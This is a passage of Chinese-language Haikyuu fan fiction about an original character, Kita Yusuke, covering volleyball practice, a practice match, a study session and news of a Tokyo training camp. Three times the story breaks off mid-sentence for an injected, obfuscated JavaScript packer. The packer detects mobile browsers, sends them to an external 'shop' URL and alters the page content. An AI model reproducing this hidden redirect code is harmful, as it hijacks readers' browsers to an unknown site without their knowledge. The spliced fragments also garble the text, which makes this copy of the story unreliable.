一眼就能看出做题的人到底是粗心大意还是干脆就没听课。 “太好了,信介给侑和治补习后,感觉球馆都安静了不少。” 尾白阿兰深吸一口气,感叹道。 北裕介在他旁边喝水,闻言点点头。 尾白阿兰盯着他,突然感慨:“要是裕介能有侑一半开朗就好了。” 北裕介这口水还没咽下去,差点就呛了一下,一脸一言难尽的看着他。 角名伦太郎脑补了一下,把北裕介的脸安在宫侑身上,顿时打了个哆嗦。 尾白阿兰也只是突发奇想的一说,看着两个人齐刷刷的表情没忍住笑了一下:“我就随口一说,裕介你现在就很好。” 北裕介的表情带了点迷惑,放下水杯拿起排球看了看角名:“去练球?” 他最近在和角名双背快,对默契度要求很高,所以经常要待在一起。 北裕介看了看角名伦太郎好像有点勉强的表情垂了垂眼睛:“你要是不想练的话……” 角名伦太郎打断了他的话:“我想练,走吧。” 角名自己答应的就不算勉强吧,北裕介面上没什么反应,嘴角微微的翘了一点点,又很快被压平。 尾白阿兰看着两个人的背影叹了口气,两步追上:“还缺一个托球的吧?我来。” 5. 合宿 稻荷崎的合宿定在周末,其实说是合宿,只是几支队伍趁着周末一起约个训练赛而已,规模很小,也都是熟人。 “所以别紧张,就是磨合一下而已。” 宫侑擦着及格线通过了考试,心情很好的对北裕介说。 北裕介想了想,认真的说:“我不紧张。” 宫侑轻哼一声:“那最好了,到时候别拖后腿。” 才不会呢,北裕介面无表情的哼回去,至少他考了班级的第十五名,比宫侑这种刚过及格线的强多了。 不过合宿的话……他觉得自己需要一双新的排球鞋。 现在用的球鞋和护膝都是原主之前的,磨损都很严重了,现在趁着还没合宿也没有训练,可以直接去买一双。 北裕介翻了下床头柜的最上层,北信介和他说过证件类的东西都在里面,只不过一直没用上,他也就没仔细看过。 抽屉里的东西不少,除了必要的证件之外还有两本房产证和几张银行卡。 这种很重要的东西为什么会放在他手里,而不是家长那里呢? 而且这么多天也能看出来奶奶家并不是什么富贵人家,衣食住行都很简单,肯定不是那种把房产证丢给孩子玩的类型的。 困惑在脑海里一闪而过,北裕介也没有细想,随便拿了一张距离比较近的银行的卡就出了门。 结果就又被卡里的金额震惊了一下。 北裕介充满敬畏的看了一眼一连串的零,只取出了一点正好用来买东西的钱。 要不然明天去找个兼职吧,花别人的钱总感觉很奇怪。 他漫不经心的想着,随便找了一家运动品牌店走进去。 店面很整洁,东西也很全,但是北裕介没有很多东西要买,对必要的东西也不算挑剔,拿了常用牌子的东西就打算去结账。 “裕介?” 对方的声音听起来很犹豫,北裕介看过去,又是熟悉的人影。 “好巧,又见面了。” 角名伦太郎左手提着一只购物篮,里面是几套护膝,右手插在外套兜里,连半张脸都藏在了竖起的领子里,懒洋洋的和北裕介打招呼。 北裕介腾出手朝他晃晃,当作打招呼。 他今天穿的冲锋衣袖子很长,手只能伸出来一半,干脆就不伸了,直接整个缩在袖子里。 角名伦太郎还是第一次见他穿黑色,眼睛没忍住瞟了一眼又一眼。 可能是最近锻炼多了,北裕介面色比刚认识时好了不少,气血充足了很多,皮肤还是很白,但是至少不是苍白了。 又一次偷瞟被抓了个正着,角名伦太郎清清嗓子,胡乱的找了个话题:“北前辈还好吗?” 话一出口他就后悔了,这是什么中年人见面的必备话题啊? 北裕介显然也迷惑了一下:“嗯。” 应该挺好的,毕竟他们上午还一起打排球来着。 有了刚刚的教训,角名伦太郎不再试着找话题,老老实实的跟在北裕介后面排队结账。 北裕介等角名伦太郎结完账,顺手把一个小巧的包装袋扔到对方的袋子里。 看着对方疑惑的眼神,北裕介慢吞吞的解释:“护腰,你扣球的动作好像太消耗身体了。” 他能看出来对方天生的身体素质很好,但是要是长期那么使劲肯定对身体是损害的。 不过角名伦太郎跟别人打球时好像就没有那么使劲儿…… 不管他怎么样,他看着这个人没有任何防护把身体弯成令人心惊胆战的弧度就害怕。 他上辈子的膝盖就是不注意防护才坏掉的。 角名伦太郎看着袋子里的东西,半晌才反应过来。 “谢谢。” 北裕介晃晃手里的袋子:“不客气,明早见。” 角名伦太郎没忍住弯了弯唇角,也学他晃晃袋子:“明天见。” 东西买完了,北裕介刚刚取出来的现金也花了个干净。 真得找个兼职了,晚饭时,北裕介咬着筷子和北信介提出了这件事。 北信介定定的看了他好几秒才说话:“卡里的钱不够用吗?” 怎么可能,那里的钱都够他用到下辈子了。 北裕介刚要开口解释,就被对方的声音打断了。 “裕介。” “嗯?” 北裕介不自觉的挺直后背,等着他的下文。 北信介看着北裕介那双和他相似的,比起以前更加清澈的眼睛,斟酌的说道:“那些东西就该是你的,不要为了这个有负罪感。” “而且,奶奶如果知道你出去兼职的话,会难受的。” 北裕介想说的话突然被锁在了喉咙里,他张了张嘴,最后无奈妥协。 吃完晚饭和北信介一起打扫完厨房已经六点了,往常这个时候他们还在训练。 有点不适应,所以北裕介干脆从床上下来收拾房间。 他从医院出来的时候房间就已经是收拾好了的,自己又没多少好奇心,也就没有仔细看过。 房间的东西不多,除了些必要的生活用品之外就只有几本书了。 北裕介随手翻了翻,莫名感觉有点眼熟,随手拿出来放在床头柜上,打算收拾完有时间再看。 把当季的衣服拿出来,过季的叠好放起来,整理好合宿要用的东西已经很晚了。 明天还要早起,还是早点睡吧。 北裕介自然而然的忽略床头柜上的书,洗漱完就上床休息了。 …… 还是睡的晚了。 第二天早上,坐在大巴上昏昏欲睡的北裕介如是想道。 不过稻荷崎的排球部一向热闹,再一次被一嗓子吵醒的北裕介不情不愿的睁开了惺忪的眼睛。 然后就被旁边突然出现的人影吓了一跳。 角名伦太郎看着北裕介好不容易睁开的眼睛解释到:“没有别的位置了,北前辈去挨着侑和治他们坐着了。” 队长要看着点队里的问题儿童。 北裕介点点头,表示理解:“快到了吗?” “快了,犬伏东很近的。” 角名伦太郎说完不到五分钟,大巴车就到了犬伏东学校的门口。 除了北裕介,其他人和犬伏东的成员都已经是老相识了,宫侑和对方的二传已经半挑衅半叙旧的聊起来了。 白石凑扫过稻荷崎,一眼就看见了那个生面孔:“哎呀阿侑,那是你们新入学的一年级吗?” 看上去很适合打排球啊。 宫侑挑眉:“到赛场上就知道了。” 好吧好吧,白石凑咂咂嘴,眼睛还是忍不住略过一遍又一遍。 “清濑东和鸭沢还要晚一点才能到,要不先来一局?” 犬伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185105|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东的教练半眯着眼,笑盈盈的建议。 黑须法宗当然没有问题,转身看向自己队里的人,思考了一会,还是派出了原先定好的阵营。 尾白阿兰(WS)、宫侑(S)、宫治(WS|OP)、角名伦太郎(MB)、北裕介(MB)、银岛结(WS)、赤木路成(L)。 他转头看向整理队服的北裕介,放轻了语气:“裕介,这局你就上去试试,别紧张,好好打。” 宫侑在一旁撇了撇嘴,心想对方肯定会说—— “谢谢教练,我不紧张。” 黑须法宗愣了一下,随即笑道:“不紧张就好。” 简单的热身后,两支队伍隔网站好,队长划拳确定谁先发。 两边的人扯着脖子看他们的划拳接过,两秒后,稻荷崎半场惊起一片欢呼。 宫侑理所当然的退后半步,准备发球。 “发个好球阿侑——” 宫侑随意的笑了一下当做回应,他一只手举起排球,眼睛里写满了兴奋和激动。 他们有很久没有和其他队伍面对面的打过比赛了,这还是这学期的第一次,他已经迫不及待让别人看到他的进步了。 将排球抛向半空后助跑,六步后脚蹬地,宫侑高高跃起,在半空中绷紧了身体,屏住呼吸将全身的力气灌输到手上。 在手接触到球的瞬间。球带着极快的速度向前飞去。 吉田辉作为犬伏东的自由人,几乎被这球的威力吓得定到了原地。 他吞咽了一口唾沫,强逼着自己冷静,看向这球的弧度。 “out!” 话音刚落,这球就狠狠的砸在了地上,又瞬间反弹到排球馆的二楼。 哇这个力道,砸到胳膊上的话会骨折吧? 怎么就出界了?宫侑不满的“啧”了一声,脸黑的不行。 宫治毫不犹豫的嘲笑出声:“好逊啊侑,心里想着一定要大出风采结果第一球就出界了。” “哈?你平时也会发球出界吧?!” “至少今天没有——全垒打高手,记得你欠我一个布丁。” 犬伏东众人看着这出大戏,刚刚被那个发球的威力吓到的心情逐渐平复。 “哈哈,还是老样子啊,对面那对双胞胎。” 白石凑摸摸后脑勺,笑着说道。 “嗯,就是不知道那个新来的实力怎么样。” 其余人顺着他的话看向对面的12号,个子很不错,是很经典的池面脸,再加上有点偏瘦削的身形,会让人有点怀疑他是不是走错社团了。 看起来更像是文学部的清冷学长,会有很多学妹喜欢的那种。 但是—— “能在稻荷崎有一件自己的队服,实力应该很不错吧。” 几句话的时间,对面拌嘴的双胞胎已经冷静下来了。 宫侑输掉了一个布丁,眉毛稍稍的向下撇,心情不是很好。 一想到回去还要被北前辈加练,心情就更不好了。 不过他从来不内耗,自己不高兴就让别人也不高兴就好了。 宫侑眼睛转了两圈,目光定在了和北信介两分像的北裕介身上。 “裕介,”他笑眯眯的走上前:“积极一点,我的第一球会传给你,一定要得分啊。” 毕竟如果接他的传球都得不了分的话,那就是废物嘛。 6. 加训 “喂!”尾白阿兰目瞪口呆:“裕介第一次比赛,你不要给他这么大压力啊。” 宫治轻嗤:“他就是心情不好想找回来,废物才这样。” 他转过身看着北裕介,难得的语气平和:“别在意那个蠢猪说的话,你得分就是你厉害,得不了分就是他传球不行。” 还可以这样,北裕介呆了呆,点点头。 “蠢治你在说什么!我的传球哪里能挑出来毛病?!” 眼看着宫侑又要炸,角名伦太郎轻叹了口气:“对面要发球了。” 喉咙里的话被堵了回去,宫侑面色扭曲的看向对面。 什么啊!那家伙根本不会在意这种话的好吗?!怎么都一副他欺负人的样子啊! 宫侑心里堵着一口气,恰逢对面的发球被自由人稳稳接住,他随手做了个手势后把球托给北裕介。 黑须教练的训练清单见效很快,再加上北裕介自己的努力,他扣球的力道、技巧的运用明显对比刚入部时有很大进步。 看清宫侑的手势后,北裕介助跑起跳。 对面的拦网跟进很快,北裕介快速扫了一眼,在球精准的传到手边时轻转手腕,同时抡圆了双臂快速挥下。 下一秒,球完美的避开了拦网砸在地上,发出沉闷的响声。 “Nice ball!” 宫侑喜笑颜开,和北裕介击了个掌。 能一直发挥的稳定可太好了,从头到尾都是一样的水平,不像队里的其他人都需要预热。 白石凑被那球激起了兴趣,喃喃自语:“看来稻荷崎又来了一个技巧型的副攻手啊,啧,怎么什么好苗子都去那儿了。” 他已经三年级了,但是队里的一年级都平平无奇,目前还没有能够顶上的。 犬伏东的教练被这个漂亮的旋转球吸引了一下,往前挺了挺身子,没忍住调侃到:“看来稻荷崎又来了一个好武器啊。” 黑须法宗笑着摆摆手,谦虚道:“裕介他还要练呢。” 这话听着可太欠揍了,犬伏东的教练没顺着他说,目光继续回到场上。 “打的好裕介,发个好球。” 尾白阿兰拉长了声音鼓励道,话音刚落又有点迷茫,北裕介发球怎么样来着? 他就算老年痴呆也不至于不记得队友发球技术怎么样吧?但是思来想去尾白阿兰也只能回忆到他发球一直很稳定,几乎不会有不过网和出界。 哨声响起两秒后,北裕介将球抛向半空。 助跑起跳后,北裕介快速扫了一眼对面的站位,同时手上调整方向,精准的击打在球的中下方。 果然,球不偏不倚的飞向了他预想的地方。 刚刚飞过前排的肩膀,又是后排两个人的中间。 本来就是不好补救的位置,在两人犹豫的时间里,球已经落地了。 球的力道不算大,就是位置太恶心了,白石凑看着球落地的地方皱起了脸。 “好发!”“好样的裕介!” 队友的夸奖此起彼伏,北裕介点点头算是回应,转身抓起了第二个球。 同样的招数肯定不能用第二次了,北裕介无意识的转了转球,思考该怎么发这一球。 哨声响起后,球带着飘忽不定的轨迹飞过了网。 “我来!” 吉田辉调整了一下位置,等着球飞过来。 但是等球砸在手臂上的瞬间他就意识到这球的手感不对,太转了。 这个时候调整已经来不及了,吉田辉眼睁睁的看着球被接飞。 “抱歉。” “别在意别在意,刚那球太转了。” 第三个发球被已经适应了的自由人补救了起来,二传和副攻打了个快攻,终于夺回了发球权。 北裕介轻轻的抿了抿嘴唇,对这个结果并不算是很满意,但也清楚这就是他能做到的极限了。 只能在其他的地方更努力一点了。 没有二传能拒绝积极要球又能得分的攻手,宫侑也不例外。 而二传和副攻打的最多的就是快攻,于是这场比赛的节奏被不断的加快再加快。 最后以25:21的比分结束,稻荷崎胜利。 比赛结束后,白石凑有点不可思议的撑住膝盖,回忆了一下刚刚那局比赛。 如果他没记错的话,稻荷崎那个12号副攻,整局比赛,似乎一点失误都没有? 一传,扣球,发球,拦网每一项都很不错,在二传不断给他球的情况下,一球都没有发挥失常。 怪物吗?他忍不住呲牙咧嘴的看了对面的队伍一眼。 在球网对面白石凑能看出来,在场下一直观看的教练们观感只会更强烈。 黑须法宗抑制不住笑意,看着他们说道:“发挥的都很好,尤其是裕介,很不错。” “不过配合还是有一点问题的,这个回头咱们再仔细说,总体上来说非常不错。” 北裕介坐在地上点点头,一圈人只有他和教练是坐着的。 没办法,太累了,他的体力还是弱项。 宫侑没忍住看了他一眼,突然举手发言:“我觉得裕介的体力也要练,我建议他和角名一起练习这个。” 一旁什么也没干的角名伦太郎:…… “对,这个确实。” 黑须法宗点头赞同他的话:“嗯……也是,角名你也跟着裕介一起练习一下吧,你的体力和力气确实都有进步空间。” 角名伦太郎有气无力的点点头,心想回头他就把宫侑的丑照发给宫治。 不,他要做成表情包发到群里。 北裕介已经完全挂机了,眼睛都发直了,呆呆的坐着,连点头都做不到了。 尾白阿兰看了一眼正在掐架的双胞胎兄弟,又看了一眼一个站着一个坐着、但都是一脸生无可恋的副攻Line,深深的叹了口气。 感觉他们稻荷崎要完了呢。 黑须法宗忍俊不禁的拍拍手:“好了好了,都去拉伸一下然后练习,一会就能吃饭休息了。” 不提吃饭还好,一想到吃饭北裕介的表情又麻木了一点,向后一仰躺在了地上。 角名伦太郎就站在北裕介旁边,拉了一把他的手腕:“拉伸,要不然会难受。” 北裕介没有力气了,眼珠朝他的方向转了一下,片刻后顺着角名伦太郎的力道站起来,沉重的叹了口气:“走吧。” 拉伸后的北裕介感觉自己的灵魂已经飘走了,他畏惧的看了正在排队扣球的众人,无法理解他们怎么做到这么有活力的。 “裕介!角名!来扣球啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185106|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宫侑眼尖,转头就看见了试图用椅子挡住自己的北裕介,哦,后面还有一个试图用北裕介挡住自己的角名伦太郎。 在套娃吗?这两个人。 我的天,谢谢你还没落下我。 角名伦太郎麻木的站起身,顺便拉起了北裕介。 当然,这不是因为他有多积极,他只是单纯的看见了北前辈投过来的眼神而已。 感觉再不过去就要被制裁了。 尾白阿兰刚刚扣完一球来到队尾,看到两人没忍住调侃道:“裕介,这样就累了可不行,以后说不定要打五局呢。” 北裕介已经缓过来不少了,闻言点点头:“我会好好练习的。” 角名伦太郎定定的看了他银白色的头发两秒,在心里叹了口气,放心吧,就算你自己不努力,教练也会强迫你努力的。 果然不出所料,角名伦太郎看着北裕介度过了漫长的三天。 黑须法宗当教练的经验足够丰富,他很能卡准即不伤害身体、又能最大程度上提高体力耐力的那条线,于是北裕介的训练清单变成了全队最长。 别人比赛的时候他在做折返跑,别人练习扣球的时候他在做弓步跳,别人发球时他在做平板支撑…… 其训练强度让角名伦太郎都叹为观止。 他记得他当初好像没有这么吓人的强度。 于是在合宿结束后,没有和北裕介交过手的清濑东等学校有了一个传言: ——听说稻荷崎有一个学生得罪了教练,把他带去合宿也不让他比赛,只让他在旁边跑圈,连球都不让他碰。 在角名伦太郎听到这个离谱的传言时,他们已经坐在回学校的大巴车上了。 角名伦太郎:…… 他淡定的戳了一下旁边的北裕介:“你被教练孤立了这件事你自己知道吗?” 北裕介:……? 他丢给角名伦太郎一个茫然的眼神,角名伦太郎心领神会,低头的群里发了条信息。 【他不知道】 群里寂静了两秒,然后以更快的速度开始刷屏。 【天,这么迟钝的吗?】 【可能是个天然系吧】 【角名你多照顾照顾新人吧,要不他也太可怜了。】 【你看角名像是会照顾人那种类型的吗?】 知道内情的犬伏东众人无一例外的在看热闹,中间还穿插着白石凑的嘲笑。 角名伦太郎反手扣下手机,没再看那些乱七八糟的消息。 兵库县简直没有正常的学校,当然,包括稻荷崎。 “嘿——晚上咱们去打球吧?角名、裕介?就差两个副攻了——” 宫侑坐在前排,把身子扭成了一个让人觉得不可思议的弧度,朝着角名伦太郎座位的方向说道。 看吧,他就说稻荷崎没有正常人。 他们竟然要在一天的训练、一个小时的大巴后晚上还要接着打球。 “角名,你去吗?” 北裕介侧头看向角名伦太郎,语气里带着点期望。 不知道是不是角名伦太郎的错觉,他竟然从那双被阳光晃的亮晶晶的眼睛里看出了恳求。 他闭了闭眼,做出了那个背叛自己的决定:“去。” 好了,他现在也不是正常人了。 7. 补习 简直是鬼迷心窍了,角名伦太郎躲开拦网扣死这一球,听着球砸地的闷声,面无表情的想到。 “好配合啊!” 宫侑在网对面阴阳怪气,他刚刚被后排的北裕介晃了个正着,差一点没跟上拦网。 虽然跟上了也被对方躲过去了。 北裕介眨眨眼,走过去和角名伦太郎击掌。 行吧,角名伦太郎配合着抬起手,忽略宫侑的大吵大闹,微不可见的抬了一下嘴角。 “阿治!下一球给我扣死他们!” 宫侑抬手指着击掌的两人,命令道。 “你自己怎么不扣?” 宫侑呆了一下:“那也行。” 不想和笨蛋打球,尾白阿兰看着他们俩叹了口气。 这场普普通通的练习赛足足打到晚上七点多才结束,北裕介揉了揉麻木的眼睛。 晚上排球馆的灯太亮了,晃的他眼睛疼。 他换好鞋站在门口,等着收拾东西的众人。 宫侑背着背包,看着轻轻巧巧的北裕介感慨道:“有个靠谱的兄弟真好。” 北信介没有参与这场加练,就顺便把北裕介的背包带回家了。 宫治听了这话翻了个白眼:“我也是这么想的。” 宫侑没搭理他的话,看向北裕介,突然想到了什么,压低了声音说道:“北前辈在家里和在学校有什么不一样吗?也是总是一板一眼的吗?” 角名伦太郎不动声色的靠近了两步仔细听,尾白阿兰则有些欣慰。 会说成语了啊,阿侑。 北裕介把落下来的头发掖在耳后,思考了一下回答道:“不算是一板一眼吧,信介哥做什么都很认真,一直都是这样。” 众人发出一声赞叹又意料之中的嘘声。 北裕介被忽然加大的音量吓得一愣,攥紧了手里的袋子又松开:“不走吗?” “走走走,明天还要训练呢。” 宫侑第一个应和着走出门,他要当明天第一个去训练的人! 角名伦太郎放慢了脚步跟在北裕介旁边,看着他一边走一边踩脚下落下的樱花。 北裕介低头低得脖子有点发酸,仰头活动了一下,无意间撞上了角名伦太郎的眼睛。 对方在对视后马上扭过头移开了视线。 像往常的每一次一样。 北裕介也转过头抿了抿嘴,掩饰住自己的笑容。 他真是很久都没有被逗笑过了,在路口马上到家的时候声音里还有着藏不住的笑意:“拜拜,角名。” 角名伦太郎点点头:“再见。” 这里离他的公寓不算近,但是直到回家后躺在床上,角名伦太郎的脑海里还是那个转瞬即逝的笑容。 他翻来覆去的睡不着,最后坐起来吐了一口气。 刚刚怎么没记得拍下来呢? 一定是平时拍双胞胎拍多了,把自己的脑子都拍坏了。 …… 第二天晨跑后,北裕介跟着北信介走进排球馆,一进门就看见了黑眼圈浓重的角名伦太郎。 这是去做贼了吗? 北裕介看着角名伦太郎,欲言又止。 “走啊裕介去练习!” 宫侑早早就到排球馆了,现在急不可耐的薅人去打球,注意到北裕介的视线后摆摆手:“不用管角名啦,网瘾少年白天没有多少时间玩手机,晚上熬夜补回来是经常的事情。” 角名伦太郎勉强睁开眼睛,点点头,不承认自己是因为后悔而睡不着觉。 北裕介安慰道:“没关系,上课的时候可以补回来。” 话音刚落,他就看见了宫侑瞬间严肃起来的表情。 北裕介茫然的回头,果然看见了自己表哥的脸。 “裕介,上课的时候不可以睡觉。” 北裕介低眉顺眼:“知道了信介哥。” 他目送北信介走远,听着宫侑肆意的笑声深吸了一口气:“你自己去练球吧。” “哎哎哎别走啊!” 北裕介走远了,宫侑眼巴巴的看向cos大熊猫的角名伦太郎:“角名?” 角名伦太郎的目光转了一圈:“阿兰来了,他闲着呢。” 打发走了宫侑,角名伦太郎眼睛转了转,走到了北裕介旁边拿过他手里的排球:“包球,练吗?” 北裕介欣然同意。 早训的时间不长,结束后角名伦太郎带着北裕介去一旁接水,找话题开口说道:“快黄金周了,也不知道咱们是和哪些学校合宿。” 这个话题涉及到北裕介的知识盲区了,他茫然的抬头:“前几天的那个合宿不算吗?” 角名伦太郎拿过北裕介手里的杯子,帮他拧上瓶盖:“那种严格意义上来说不算合宿吧?时间太短了来不及去别的地方。” “黄金周时间长,每次教练都会找强校一起合宿,估计要去挺远的地方的。” 而且如果不是因为快黄金周了,教练也不会让你在合宿的时候练体力吧,傻孩子。 北裕介忽略角名伦太郎对他无奈的叹气,拉长音“哦——”了一声,回答道:“好期待。” 他说话一向没有波澜,角名伦太郎被他逗笑了:“听不出来你很期待的样子。” 为什么? 北裕介拿过自己的水杯,没问出口:“走吧,去教室。” 那么长的假期之前肯定是有考试的吧,北裕介突然说道:“要不然角名你上课还是别睡觉了。” 这句话来的没头没尾,但是角名伦太郎一下子get到了他的脑回路,有点无奈:“不用担心我,我觉得部里需要担心的还另有人选。” 也是,北裕介扒拉着教室门:“快上课了,拜拜。” 他回到座位拿出笔记,打算从现在到黄金周前都好好学习。 嗯,绝对不是因为信介哥说晚上回家后要看看他最近学的怎么样。 训练、上课、打球、练习…… 忙起来的时候时间过得相比想象中快很多,一转眼,马上就要到四月底了。 越接近黄金周,队里的学习苦手就和北裕介想象的一样越来越抓狂。 “裕介——” 北裕介一打开排球馆的大门,两道一模一样的身影就朝他扑过来。 “这个周末让我们去你和北前辈家补习好不好——拜托了——” 要是因为成绩不够不能去或者错过了前几天的合宿,那比杀了他们还难受。 黄金周的假期比较长,相应的考试难度也会高一点,已经不是他们在平时抱抱佛脚就能通过的程度了。 北裕介淡定的关上大门:“奶奶喜静,你们太吵了,而且找信介哥补习的话,直接问他更好吧?” 角名伦太郎在一旁玩手机,忽然动作顿了顿:“裕介,你参与补习吗?” 北裕介想了想:“如果有的话参加吧,我还有点东西需要复习。” 太好了,角名伦太郎放下手机:“那就我家吧,我家里没有人。” “好哎!” 宫侑和宫治一起欢呼,转了个方向去找补习老师北信介,完全忽略了角名往常是从来不接受别人去他家里做客的请求的。 尾白阿兰欲言又止,最后说道:“加我一个。” 他及格一向不成问题,但是一起学习的话效率会更高一点,谁会不希望自己的成绩高一点呢? 北信介当然不会介意给他们补习的,于是轰轰烈烈的补习运动定在了本周的周六日,地点是角名同学的家里。 “不过角名家里为什么没有人啊?” 北裕介纠结了一下午这个问题,还是在晚上对北信介问道。 北信介有点惊讶的回答道:“角名家在爱知县,是教练挖来咱们学校的。” 好厉害,北裕介恍然大悟的点点头,想到他打排球的样子,又觉得理所当然。 拔尖的人才引人注目是很正常的事。 片刻后,北信介问道:“你和角名相处的还可以?” 要知道他这个表弟一直都是对什么都漠不关心的状态的,北信介还为这个担心了一下他的人际交往。 不过现在看来还不错。 北裕介又点点头:“他很安静,不吵。” 好吧,北信介微微弯了弯嘴角,这样也很好。 安静的角名同学正在收拾屋子,家里给他租的房子是个小公寓,但是卧室很大,有一张很大的桌子,围着坐补习完全够用了,要不然他也不会贸然邀请别人。 临近约定好的时间,他摆好了凳子,擦了第三遍桌子。 门铃响了,角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185107|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名伦太郎匆匆把湿巾丢进垃圾桶,走到玄关处开门。 门后是北裕介圆润的眼睛。 他以前怎么没发现对方是个圆眼,还怪可爱的。 角名伦太郎不合时宜的想到。 “角名?” 怎么突然对着他发呆,北裕介伸手晃了晃,示意他回神。 角名伦太郎回过神,侧身把他迎进去。 北裕介拎着买的水果一边被领到卧室一边简短的解释:“信介哥在等阿侑他们,但是觉得大家都迟到不好,我就先过来了。” 感谢北前辈,真是个好主意。 角名伦太郎眨眨眼,接过他手里的东西,示意对方随便坐。 北裕介坐在了靠近窗户的凳子上,正大光明的四处看这间屋子的布局。 是很常见的日式单人公寓,木制的地板,白色的墙面,有一个很大的窗户和阳台,采光和风景都很好。 很简单,很干净的房间,唯一带着点个人特色的是一个书柜,上面摆着一些杂七杂八的漫画和小说,但是也罗列的很整齐。 比他的房间要整洁多了,北裕介敬佩的想道。 “想什么呢?” 角名伦太郎在北裕介的左耳边打了个响指,然后在他朝左看得时候从右边绕过去。 对上对方无奈的表情时还不忘懒洋洋的笑了一下。 好无聊,北裕介板了板脸,刚想说话就被门铃打断了。 “我去开门,你吃水果吧。” 角名伦太郎示意他看桌子上刚刚切好的水果,然后再一次走向玄关处。 不出意料的被一片吵闹扑了个满怀。 角名伦太郎木了一下:“别坐床,其他随便。” 断后的北信介朝他点点头:“麻烦了,角名。” 角名伦太郎半低下头关上门:“不麻烦的北前辈。” 都是年纪相仿爱好相同的少年,聚在一起吵吵闹闹是止不住的,直到北信介清了清嗓子房间才安静下来。 “阿侑阿治,你们把这几道题做一下。” 北信介翻出本子,上面画了几个很醒目的红圈。 角名伦太郎没忍住探头看了一眼,是很基础又很重点的题目,对临时补习很合适。 不愧是北前辈。 不过宫侑宫治都不觉得这是基础题,宫侑看着题目挠了挠头发,悄悄去瞥宫治的本子,发现对方的也是一片空白。 啧,废物吗?这家伙。 宫治闭着眼睛也能猜出来对方在想什么,撇撇嘴,他不也一样不会吗? 北裕介刚刚记下了一个课上打瞌睡遗漏的知识点,抬头看见的就是两个抓耳挠腮的人。 他看了一眼两个人的本子,感觉太阳穴一抽。 这什么东西,真是辛苦信介哥了。 北裕介畏惧的收回视线,继续抄角名伦太郎的笔记。 他其他科目都有笔记,只有国文课不怎么爱听,就一直都没记下来过。 角名伦太郎跟着他抬起头,感觉有点手痒,没忍住拿出手机“咔嚓”的对着双胞胎拍了张照片。 也没敢仔细欣赏,飞快的把手机扔到一边。 北信介抬眼,没追究这件事,拿起宫侑宫治的本子扫了一遍。 “我记得这个知识点这周三才跟你们说过,是吗阿侑阿治?” 北信介看着两个人的本子,淡淡的说道。 好恐怖,大耳练收回视线,不忍心再看下去,继续做自己的题,不会的就去问北信介。 恐怖归恐怖,几天下来效果还是很显著的。 至少看起来像是上过学的了。 以上是角名同学的锐评。 北裕介赞同的点点头,调整了一下书包带:“希望他们能考个好成绩。” 要不然信介哥也太可怜了。 每天要讲题、勾画知识点、还要复习自己的功课。 角名伦太郎想了想北信介这两天的工作量,牙一疼:“要是还不及格的话我建议阿侑阿治去给北前辈土下座。” “信介哥不会同意的。” “那确实。” …… 度过樱花盛开的旺季,路上的风景逐渐被青绿色取代,时间来也到了四月底。 也正是黄金周前的考试时期。 8.合宿(1) 北裕介推开排球馆的大门,看见的就是熟悉又陌生的场景。 他呆了呆,拽了拽离他最近的角名伦太郎的袖子:“他们在干什么?” 角名伦太郎正在拿着手机相机调整角度,闻言抬头看了一眼正在虔诚的对着排球土下座的双胞胎,解释道: “大概是在求排球之神保佑他们及格吧。” 北裕介欲言又止,看了看在进行某种神秘仪式的双胞胎,再看看好像马上就要去当摄影师的角名伦太郎,最后也只是退后两步,让自己离他们远一点。 一旁的赤木路成拽了他一把,把北裕介拉进三年级的队伍里。 “别看了,一会把你都带傻了。” 大耳练赞同的点点头:“走吧,咱们去练球。” 最后阻止这场闹剧的是去给教练帮忙的北信介,顺便带来了稻荷崎排球部没有人不及格的好消息。 “肯定是年级老师告诉信介的吧,老师们都特别喜欢信介。” 大耳练转了转手上的排球,顺便把北裕介也转了个圈,不让他去看宫侑宫治的反应。 这可是信介的弟弟,好好的孩子进了他们稻荷崎,可千万不能把他给带傻了。 黑须法宗满脸笑容的来到排球馆,看见的就是这混乱的一幕。 双胞胎拥抱着大叫欢呼,一旁是拍照的角名伦太郎。 其他人聚在一团,方向十分一致的看向窗外,不知道在看什么。 他清清嗓子,示意其他人安静下来。 “宣布一个好消息,这次咱们黄金周的合宿定在了东京。” “哇——” 迅速调整好位置,排排坐的少年传来一阵欢呼。 没等其他人提出疑问,黑须法宗就补上了后半句:“一起合宿的学校分别是音驹,枭谷和井闼山。” “哇!!” 欢呼又大了一些。 北裕介听得一愣一愣的,茫然的看了一圈众人的反应。 角名伦太郎凑近一点,压低了声音和他解释:“这几个都是东京的强校,尤其是井闼山,是很多届的全国冠军。” 这样,怪不得那么高兴。 